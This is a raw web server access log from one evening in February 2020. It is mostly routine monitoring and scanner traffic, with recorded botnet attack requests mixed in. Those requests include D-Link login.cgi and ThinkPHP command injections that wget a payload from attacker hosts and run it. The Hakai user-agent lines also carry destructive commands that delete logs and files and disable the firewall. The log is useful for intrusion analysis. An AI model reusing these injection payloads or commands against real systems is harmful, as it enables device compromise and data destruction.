192.241.236.167 - - [17/Feb/2020:19:44:05 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [17/Feb/2020:19:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [17/Feb/2020:19:44:42 +0100] "Gh0st\xad" 501 321 "-" "-"
192.241.236.167 - - [17/Feb/2020:19:45:02 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.236.167 - - [17/Feb/2020:19:45:03 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [17/Feb/2020:19:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.236.167 - - [17/Feb/2020:19:46:52 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.236.167 - - [17/Feb/2020:19:47:13 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [17/Feb/2020:19:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [17/Feb/2020:19:49:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:19:49:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:19:49:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:19:49:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:19:50:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:19:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.198.110.96 - - [17/Feb/2020:19:50:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:19:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.151.164.36 - - [17/Feb/2020:19:52:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:19:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.151.164.36 - - [17/Feb/2020:19:52:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.118.161.45 - - [17/Feb/2020:19:53:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [17/Feb/2020:19:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.151.164.36 - - [17/Feb/2020:19:53:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:19:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.151.164.36 - - [17/Feb/2020:19:55:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:19:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.151.164.36 - - [17/Feb/2020:19:56:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:19:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.204.64.17 - - [17/Feb/2020:19:57:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.151.164.36 - - [17/Feb/2020:19:57:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
112.160.110.48 - - [17/Feb/2020:19:57:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:19:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.160.110.48 - - [17/Feb/2020:19:57:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [17/Feb/2020:19:57:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [17/Feb/2020:19:57:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.151.164.36 - - [17/Feb/2020:19:58:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
112.160.110.48 - - [17/Feb/2020:19:58:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.151.164.36 - - [17/Feb/2020:19:58:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.151.164.36 - - [17/Feb/2020:19:58:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:19:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.151.164.36 - - [17/Feb/2020:19:59:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
85.97.196.40 - - [17/Feb/2020:20:00:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
185.31.163.237 - - [17/Feb/2020:20:00:28 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
212.91.246.72 - - [17/Feb/2020:20:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.217.78.43 - - [17/Feb/2020:20:01:49 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:49 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:49 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:49 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:50 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:50 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:50 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:50 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
144.217.78.43 - - [17/Feb/2020:20:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [17/Feb/2020:20:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.90.35.2 - - [17/Feb/2020:20:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:20:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.40.226.165 - - [17/Feb/2020:20:12:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:20:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.208.37.18 - - [17/Feb/2020:20:14:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:20:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [17/Feb/2020:20:15:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.43.8.138 - - [17/Feb/2020:20:15:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:20:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [17/Feb/2020:20:23:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [17/Feb/2020:20:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.170.162.245 - - [17/Feb/2020:20:33:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:20:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.229.114.53 - - [17/Feb/2020:20:38:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:20:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:20:40:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:20:40:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:20:41:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:20:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.242.105.105 - - [17/Feb/2020:20:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:20:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.148.232.149 - - [17/Feb/2020:20:45:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:20:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.252.183.77 - - [17/Feb/2020:20:46:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:20:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.236.4.229 - - [17/Feb/2020:20:51:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:20:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:20:51:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:20:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.220.160.88 - - [17/Feb/2020:20:52:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.153.252.182 - - [17/Feb/2020:20:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
218.153.252.182 - - [17/Feb/2020:20:53:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:20:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [17/Feb/2020:20:54:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [17/Feb/2020:20:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.47.43.154 - - [17/Feb/2020:20:56:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:20:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.156.241.217 - - [17/Feb/2020:20:56:34 +0100] "get_info" 501 323 "-" "-"
124.156.241.217 - - [17/Feb/2020:20:56:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
124.156.241.217 - - [17/Feb/2020:20:56:35 +0100] "\x16\x03\x01" 501 318 "-" "-"
124.156.241.217 - - [17/Feb/2020:20:56:35 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [17/Feb/2020:20:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:20:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.123.254.206 - - [17/Feb/2020:20:58:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.105.231.7 - - [17/Feb/2020:20:59:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:20:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.151.2.218 - - [17/Feb/2020:20:59:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
